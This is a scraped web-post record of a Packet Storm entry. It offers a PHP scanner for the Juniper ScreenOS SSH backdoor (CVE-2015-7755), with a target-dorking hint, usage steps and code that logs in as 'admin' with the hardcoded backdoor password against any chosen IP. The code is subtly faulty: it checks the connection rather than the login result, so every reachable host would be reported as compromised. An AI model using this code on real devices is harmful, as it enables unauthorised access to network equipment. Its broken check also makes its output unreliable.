{“lastseen”:”2025-12-18T16:41:49″,”description”:”Juniper ScreenOS version 6.2.0r15 SSH backdoor scanner written in PHP…”,”published”:”2025-12-18T00:00:00″,”modified”:”2025-12-18T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Juniper ScreenOS 6.2.0r15 Backdoor Scanner”,”source”:””,”references”:””,”id”:”PACKETSTORM:213001″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2015-7755″],”sourceData”:”=============================================================================================================================================\\n | # Title : Juniper ScreenOS 6.2.0r15 PHP Backdoor Scanner |\\n | # Author : indoushka |\\n | # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 135.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.juniper.net\/us\/en.html |\\n =============================================================================================================================================\\n \\n POC :\\n \\n [+] Dorking \u0130n Google Or Other Search Enggine.\\n \\n [+] Code Description: Performs backdoor scanning on Juniper devices via SSH .\\n \\n The code is now written in PHP and is able to scan devices for the Juniper SSH Backdoor vulnerability in the same way the original code in Metasploit does.\\n \\n If the code is able to log in using the vulnerability data, it reports the compromised device.\\n \\n The code runs on any IP you specify when running.\\n \\t\\n \\t ( Related : https:\/\/packetstorm.news\/files\/id\/181226\/ Related CVE Numbers: CVE-2015-7755 )\\n \\t\\n [+] save code as poc.php.\\n \\n [+] Set Target : line 40\\n \\n [+] USage : php poc.php \\n \\n [+] PayLoad :\\n \\n \\u003c?php\\n \\n class JuniperSSHScanner {\\n private $rport;\\n private $sshTimeout;\\n private $sshDebug;\\n \\n public function __construct($rport = 22, $sshTimeout = 10, $sshDebug = false) {\\n $this-\\u003erport = $rport;\\n $this-\\u003esshTimeout = $sshTimeout;\\n $this-\\u003esshDebug = $sshDebug;\\n }\\n \\n public function runHost($ip) {\\n $username = ‘admin’;\\n $password = \\”\\u003c\\u003c\\u003c %s(un=’%s’) = %u\\”;\\n \\n $connection = @ssh2_connect($ip, $this-\\u003erport);\\n if (!$connection) {\\n echo \\”[-] \u0641\u0634\u0644 \u0627\u0644\u0627\u062a\u0635\u0627\u0644 \u0628\u0640 $ip:$this-\\u003erport \\\\n\\”;\\n return;\\n }\\n \\n ssh2_auth_password($connection, $username, $password);\\n if ($connection) {\\n echo \\”[+] \u062a\u0645 \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u062d\u0633\u0627\u0628 \u0627\u0644\u062e\u0644\u0641\u064a \u0639\u0644\u0649 $ip:$this-\\u003erport \\\\n\\”;\\n $this-\\u003ereportVuln($ip);\\n } else {\\n echo \\”[-] \u0641\u0634\u0644 \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644 \u0628\u0640 backdoor \u0639\u0644\u0649 $ip:$this-\\u003erport \\\\n\\”;\\n }\\n }\\n \\n private function reportVuln($ip) {\\n echo \\”[*] \u0627\u0644\u0646\u0638\u0627\u0645 $ip \u064a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0645\u0643\u062a\u0634\u0641\u0629!\\\\n\\”;\\n }\\n }\\n \\n \/\/ \u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0641\u062d\u0635\\n $scanner = new JuniperSSHScanner();\\n $scanner-\\u003erunHost(‘192.168.1.1’);\\n \\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/213001″,”cvss”:{“score”:10,”severity”:”HIGH”,”vector”:”AV:N\/AC:L\/Au:N\/C:C\/I:C\/A:C”,”version”:”2.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/213001\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-18T16:41:49″,”description”:”Juniper ScreenOS version 6.2.0r15 SSH backdoor scanner written in PHP…”,”published”:”2025-12-18T00:00:00″,”modified”:”2025-12-18T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Juniper ScreenOS 6.2.0r15 Backdoor Scanner”,”source”:””,”references”:””,”id”:”PACKETSTORM:213001″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2015-7755″],”sourceData”:”=============================================================================================================================================\\n | # Title : Juniper ScreenOS 6.2.0r15 PHP Backdoor Scanner…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,36,12,15,13,53,7,11,5],"class_list":["post-31885","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n